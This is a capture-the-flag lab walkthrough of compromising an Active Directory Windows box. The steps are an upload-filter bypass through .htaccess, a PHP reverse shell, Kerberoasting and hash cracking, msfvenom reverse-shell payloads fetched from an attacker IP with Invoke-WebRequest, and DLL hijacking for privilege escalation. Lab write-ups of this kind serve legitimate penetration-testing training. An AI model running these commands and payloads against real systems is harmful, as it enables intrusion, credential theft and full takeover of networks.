Summary

Given target is ip: 192.168.183.187

Challenge says it's a windows system

#Reconnaissance

#Nmap

sudo nmap -Pn -n -sC -sV -p- -v --open -oN all-ports.nmap 192.168.183.187

sudo - half open (faster scan)
-Pn - Skip port scan
-n - Skip DNS
-sC - Default Scripts
-sV - Service version
-p- - all ports
-v - verbose live output
--open - only shows open ports

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-21 13:08:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Sit
e-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Sit
e-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49782/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-03-21T13:09:08
|_  start_date: N/A

#Web-Application-Reconnaissance

http website for an event about page: http://192.168.183.187/

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#Whatweb

whatweb http://192.168.183.187/

http://192.168.183.187/ [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], Frame, HT
ML5, HTTPServer[Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7], IP[192.168.183.187], Lightbox, OpenSSL[1.1.1k], PHP[
8.0.7], Script, Title[Access The Event]

#Nikto

nikto -h 192.168.183.187
  • Serv`er: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
  • /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTT
    P/Headers/X-Frame-Options
  • /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in
    a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missin
    g-content-type-header/
  • Apache/2.4.48 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch
    .
  • PHP/8.0.7 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
  • OpenSSL/1.1.1k appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and w
    ill be supported until Nov 11 2023.
  • OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE .
  • /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/att
    acks/Cross_Site_Tracing
  • /ticket.php?id=99999: Retrieved x-powered-by header: PHP/8.0.7.`

#Directory-Enumeration

#Dirbuster

dirbuster
  • Run at 10 threads
  • Wordlist location:
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Add in other file types:

php,sh,txt,html

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#Gobuster

sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'
-u http://192.168.183.187:80 -t 21 -b 400,403,404

/uploads (Status: 301) [Size: 344] [--> http://192.168.183.187/uploads/]
/assets (Status: 301) [Size: 343] [--> http://192.168.183.187/assets/]
/forms (Status: 301) [Size: 342] [--> http://192.168.183.187/forms/]
/examples (Status: 503) [Size: 404]
/Forms (Status: 301) [Size: 342] [--> http://192.168.183.187/Forms/]
/Assets (Status: 301) [Size: 343] [--> http://192.168.183.187/Assets/]
/Uploads (Status: 301) [Size: 344] [--> http://192.168.183.187/Uploads/]

Gobuster seems faster to implement and is much easier to copy & paste

Uploads hints there may be directory navigation possible

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#DotDotPwn

dotdotpwn -o windows -h 192.168.183.187 -m http

add -q to not print every attempt and keep the screen clean

#Version-Vulnerability-Scanning

searchsploit Apache 2.4

Nothing of note speicifically for 2.4.48

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#Web-Application-Enumeration

Found a file uploader form field

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In case they have a real email server hooked that's vulnerable, I'll give them an email at: https://www.guerrillamail.com/

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Seems there isn't an active email server attached

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Will try to send a payload via the upload file form field

For Later

access.offsec0

#Weaponization

https://revshells.com

My IP: 192.168.45.236

Keep in mind not all php reverse shells will work and the windows server may have issues with sh, cmd, powershell etc

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#Exploitation

Set up a listener

sudo nc -nlvp 443

443 is allowed on almost all firewalls

Upload the php reverse shells

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Try alternatives:
.php2
.hphp
.module
.ctp

https://book.hacktricks.xyz/pentesting-web/file-upload

.module works

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The file shows on the web server:

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When I click on it the reverse shell shows an error

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Trying other ones.

Seems the file types that aren't blocked and upload are just seen as text only.

I'll add a .htaccess system file to recognize these new filetypes

echo "AddType application/x-httpd-php .hack" > .htaccess

The upload the .htaccess file (need to enable viewing hidden files due to the prepending .

I get the You will shortly recieve payment link mail message like the others so I can assume it's uploaded

Now to upload the reverse shell with the .hack extension

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Reverse shell caught

#Enumeration

Once in I upgrade to powershell

powershell -ep bypass

There isn't much privilege

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Can't access Public

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Basically a jailshell.

#Privilege-Escalation

I'll use downloaded powershell modules to look for more exploits

For powershell based downloading I use Invoke-WebRequest

Download PowerUp & Get-SPI. Try PowerView as well if it doesn't get seem as malware

Invoke-WebRequest -Uri http://192.168.45.236:80/Get-SPN.ps1 -OutFile C:\Users\Public\Get-SPN.ps1

Invoke-WebRequest -Uri http://192.168.45.236:80/PowerUp.ps1 -OutFile C:\Users\Public\PowerUp.ps1

Invoke-WebRequest -Uri http://192.168.45.236:80/PowerView.ps1 -OutFile C:\Users\Public\PowerView.ps1

Install all the modules

. ./PowerUp.ps1

. ./PowerUp.ps1

. ./PowerView.ps1

. ./PowerView.ps1

Now to check everything

Invoke-AllChecks

ServiceName                     : ApacheHTTPServer
Path                            : "C:\Xampp\apache\bin\httpd.exe" -k runservice
ModifiableFile                  : C:\Xampp\apache\bin\httpd.exe
ModifiableFilePermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : ACCESS\svc_apache
StartName                       : ACCESS\svc_apache
AbuseFunction                   : Install-ServiceBinary -Name 'ApacheHTTPServer'
CanRestart                      : False
Name                            : ApacheHTTPServer
Check                           : Modifiable Service Files

ModifiablePath    : C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps
IdentityReference : ACCESS\svc_apache
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

. ./Get-SPN.ps1

Object Name =  SERVER
DN      =       CN=SERVER,OU=Domain Controllers,DC=access,DC=offsec
Object Cat. =  CN=Computer,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/SERVER.access.offsec
SPN( 2 )   =       ldap/SERVER.access.offsec/ForestDnsZones.access.offsec
SPN( 3 )   =       ldap/SERVER.access.offsec/DomainDnsZones.access.offsec
SPN( 4 )   =       DNS/SERVER.access.offsec
SPN( 5 )   =       GC/SERVER.access.offsec/access.offsec
SPN( 6 )   =       RestrictedKrbHost/SERVER.access.offsec
SPN( 7 )   =       RestrictedKrbHost/SERVER
SPN( 8 )   =       RPC/20dae709-54fe-40ec-8c68-4475793b542a._msdcs.access.offsec
SPN( 9 )   =       HOST/SERVER/ACCESS
SPN( 10 )   =       HOST/SERVER.access.offsec/ACCESS
SPN( 11 )   =       HOST/SERVER
SPN( 12 )   =       HOST/SERVER.access.offsec
SPN( 13 )   =       HOST/SERVER.access.offsec/access.offsec
SPN( 14 )   =       E3514235-4B06-11D1-AB04-00C04FC2DCD2/20dae709-54fe-40ec-8c68-4475793b542a/access.offsec
SPN( 15 )   =       ldap/SERVER/ACCESS
SPN( 16 )   =       ldap/20dae709-54fe-40ec-8c68-4475793b542a._msdcs.access.offsec
SPN( 17 )   =       ldap/SERVER.access.offsec/ACCESS
SPN( 18 )   =       ldap/SERVER
SPN( 19 )   =       ldap/SERVER.access.offsec
SPN( 20 )   =       ldap/SERVER.access.offsec/access.offsec

Object Name =  krbtgt
DN      =       CN=krbtgt,CN=Users,DC=access,DC=offsec
Object Cat. =  CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       kadmin/changepw

Object Name =  MSSQL
DN      =       CN=MSSQL,CN=Users,DC=access,DC=offsec
Object Cat. =  CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       MSSQLSvc/DC.access.offsec

Manually Kerberosting

Add-Type -AssemblyName System.IdentityModel

Request a ticket

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'

Id                   : uuid-bb29e069-b668-455c-9ead-a472b56c02ae-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 3/21/2024 2:33:20 PM
ValidTo              : 3/22/2024 12:33:20 AM
ServicePrincipalName : MSSQLSvc/DC.access.offsec
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Token is good for a day

Automated Kerberosting to dump the ticket

Script: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Usage: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/

Download it

Invoke-WebRequest -Uri http://192.168.45.236:80/Invoke-Kerberoast.ps1 -OutFile C:\Users\Public\Invoke-Kerberoast.ps1

Run it

Invoke-Kerberoast | fl

Dunped this kerberoast hash

$krb5tgs$MSSQLSvc/DC.access.offsec:0BCE0C6D71DCF78D963663642FAD130A$B6EBE138D52EAEEB38A2698A73F3
B85424048FBBD682762F33D05209A8C7D61228065507974DFF2AFB6E9241972E4D070E5CBDA559AA1EA636F3F73DD0A6
CB1380025AC64D77D447CEBFF1F72D2D1C3383F17D42A813D4999D2C533CC20B2A938D4F75E5C5727D455AE49C7266D2
5B2B635C3F2477245027BCF8FF85DCA064D7D6C1C98E2DC3E8843CD6058997EA6D994EE226E5A784FFFC604039C83D5D
9A04E0945C66DFEDA1470E6B20D5624AE4CD1FF0F26264CF14107C9A4B22E0EC1843FB277697E077590A9B84A0ECF0CA
3E3EEF71D8D22ACFD721F415798DE38ABB49A5ABE67E1672D2685ED696D8E1C46D75D07E0F350CBC76D6706914627824
16226DA3ADCADCB194253A9F076171A7BC3E00B4F4A90F13C474952A7C58735171BE45DD2B2F8F99B6EB661611DAFB87
6D6D6650DC9EBC0D890B836315843EEBBAB230846768E78D149D279098728790485A27AD322E16AA4D2745F2E4B29A49
3AFABDBBFD274D938F75FB85FF262AE26B706CDC357F8052AE4EFAAAA6E2960DB1B5C72D7030FDC130C685C8259951BA
2823801CD06D0B424AA5842D72BF80827DF4249B23C09E046D6BDD46D904F5E0F58B45E5106D061FAECD2335472AB97A
9BB77062DA56AC39F81337ACD0622DF4C51FE79653677C5CCAE1920199414B6F65466021B1393B013C48F55FF98789F1
C6DC3CD63A372C0E361667037011A59519F8341C2465E7D771E987345A0E0A61088DD4909959610BB87EBC0656F35CF5
B034D1B002CFB899E27C2778030420A3F57DCC422F36324AABCF0A47B118394BDD1A33D61AD61F140C2D40D289DEEB71
2043B9BEAE03BF52E830F1FBB466DAEE5A5CDD5B57FA640D067B812EC0120F9C0B0FDB87CC199D8048C6A00C71BDDAC0
D0A676F4372D78810E0AC43164C1E49F105FB5FF85FBD44407D6EC58DFB7D476FF478B7BD240CDD841B11B22503A66B0
23FA09D3DBC0305AB8A807E24420EDCA4542522833B4D8C42A42BB5807C6E4AFA6D6B75C28FBE8F86B38D8607E6851FE
63F04E643B2FCCF6249C2D905CA3DF73127E83BADA0E9F7E4200DCB6768C44A79B975FA48838CB08788924BDC5FB3834
DB257481E8AA3259F75BD7C1E58FA2536449277A41381675168993C676FD8284EE96459D190C0B8D51CC1E091E52D2CA
EA2DFD816FF5BE9DEAB641A2088E401A59064E3A1B3DD5C24FC7D488C880DE22DDA1B1B113DA121535684709766319FC
1EB2D088EEE26641822CD8AC45E18D209CD4834E9637BCD057B2C87C7F3347BB8B8CD3A932F26645B8D130BA7A174006
F79BE25ACE069B977E5F3C06D185BBC9224829E93E9DCBD2215CE677FF430F6C4F98D8D05B6FE3E0C611C2C57C28A41C
2F81D012F2AD7E511E5395A86C8AC943A9C0254FF8B1F8B3C39D7DD44207EE7363690B62561C0A37823E48B62C30DC5E
0AB8D78C60FBFE924EAF4BFB1B5C2D65E1A0236974D961EF75778CB1710DD7F77FF64BEF31F560AAC6F7D8333C26A500
794182AED77FCA67991484FFF99F8A1CF8D5689A50CC4ADD38DBE98E50DDA3C00A7DE6194C1A76DDEA3FAE8E343B7692
AC77188A97925B72A29B41377A20F895FF8C5AA5

Hash Type: krb5
User: MSSQLSvc
domain is: DC.access.offsec

Using a regular expression, deleting new lines and spaces is easy and error free.

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Delete the spaces too

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Now run hashcat faster and more powerful, Also be mindful that this is a kerberos type 5 hash with as-rep
https://hashcat.net/forum/thread-5482.html as it says krb5 at the beginning of the hash

hashcat -m 13100 --force -a 0 mssql-hash /usr/share/wordlists/rockyou.txt

Let it rip

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Password is trustno1

Try to access Samba share

smbclient \\\\access.offsec\\ -U 'access.offsec\\svc_mssql'

Success (No failed password output

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Now for crackmapexec

crackmapexec smb 192.168.183.187 -u svc_mssql -d access.offsec -p "trust
no1" --shares

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success for smb access

Now to run a script for running as other users
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1

Download on target

Invoke-WebRequest -Uri http://192.168.45.236:80/Invoke-RunasCs.ps1 -OutFile C:\Users\Public\Invoke-RunasCs.ps1

Install it

. ./Invoke-RunasCs.ps1

Now run it to test if I can run commands as another user

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"

Worked with a slight warning

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Install powercat on the target (windows altenrtive to netcat)
https://github.com/besimorhino/powercat/blob/master/powercat.ps1

Download powercat on target and run a command on install

Invoke-WebRequest -Uri http://192.168.45.236:80/powercat.ps1 -OutFile C:\Users\Public\powercat.ps1

Install it

. ./powercat.ps1

Now run it as the mssql user to connect back to me

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "Powershell Invoke-WebRequest -Uri http://192.168.45.236:80/powercat.ps1 -OutFile C:\Users\Public\powercat.ps1;C:\Users\Public\powercat.ps1 -c 192.168.45.236 -p 135 -e cmd"

No output recieved from the process

Try another method instead of powercat with msfvenom payloads

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.236 LPORT=135 -f exe > revshell.exe

Now server the exe and download it

Invoke-WebRequest -Uri http://192.168.45.236:80/revshell.exe -OutFile C:\Users\Public\revshell.exe

Now to run revshell.exe as the mssql user

Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "revshell.exe"

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Check privileges

whoami /priv

Privilege Name                Description                      State
============================= ================================ ========
SeMachineAccountPrivilege     Add workstations to domain       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Disabled

SeManageVolume has local privilege escalations
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public

Download local exploit

Invoke-WebRequest -Uri http://192.168.45.236:80/SeManageVolumeExploit.exe -OutFile C:\Users\Public\SeManageVolumeExploit.exe

Run it

./SeManageVolumeExploit.exe

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Now abuse referenced here: https://github.com/xct/SeManageVolumeAbuse

icacls c:\windows\system32

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New reverse shell with new privileges on a new port

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.236 LPORT=139 -f dll -o tzres.dll

Navigate to the folder where the library is located that we're replacing

cd c:\Windows\System32\wbem

Serve and download it

Invoke-WebRequest -Uri http://192.168.45.236:80/tzres.dll -OutFile C:\Windows\System32\wbem\tzres.dll

Confirm it's there. Specify the file or the output will be really long

ls tzres.dll

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make sure a listener is up

sudo nc -nlvp 139

run systeminfo which triggers this infected library file and runs the reverse shell

systeminfo

systeminfo
ERROR: The remote procedure call failed.

This error is normal. Just focus on the reverse shell catch

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An got it.

Now dump hashes and we're done!

type C:\Users\svc_mssql\Desktop\local.txt

local.txt 5c6c00530f5c66f970b38260440a7037

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whoami
hostname
ipconfig
type C:\Users\Administrator\Desktop\proof.txt

proof.txt bbe8c8edb4a51a957ac9347d9f0f399e

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References:
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://systemweakness.com/proving-grounds-practise-active-directory-box-access-79b1fe662f4d